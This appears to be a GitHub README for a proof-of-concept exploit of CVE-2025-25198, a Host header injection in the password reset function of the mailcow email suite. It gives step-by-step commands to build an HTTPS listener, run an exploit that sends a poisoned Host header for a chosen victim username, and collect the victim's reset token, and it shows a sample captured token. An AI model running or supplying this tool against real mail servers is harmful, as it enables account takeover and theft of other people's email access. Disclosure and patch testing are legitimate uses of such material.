enzocipher/cve-2025-25198Captures password reset tokens from Mailcow Host header injection attacks.
mailcow: dockerized is an open source groupware/email suite based on docker. Prior to version 2025-01a, a vulnerability in mailcow's password reset functionality allows an attacker to manipulate the Host HTTP header to generate a password reset link pointing to an attacker-controlled domain. This can lead to account takeover if a user clicks the poisoned link.
Sets up an https server to hear al requests and sends a POST Request to the website with the Host header with your selected . You can also use Burpsuite to send the request and get the Token in the server.
git clone https://github.com/enzocipher/CVE-2025-25198.git
cd CVE-2025-25198
sudo go build -o https-server server.go
./https-server
go mod init exploit
go mod tidy
sudo go run exploit.go --base <url> --username <[email protected]> --host <ip>:<port> <--insecure | optional >
After waiting a bit the server will output the token that you can use :
Redirigiendo a: http://mi-dominio.com/reset-password?token=F53F8F-CC7A5B-E0CC4C-98680B-A72245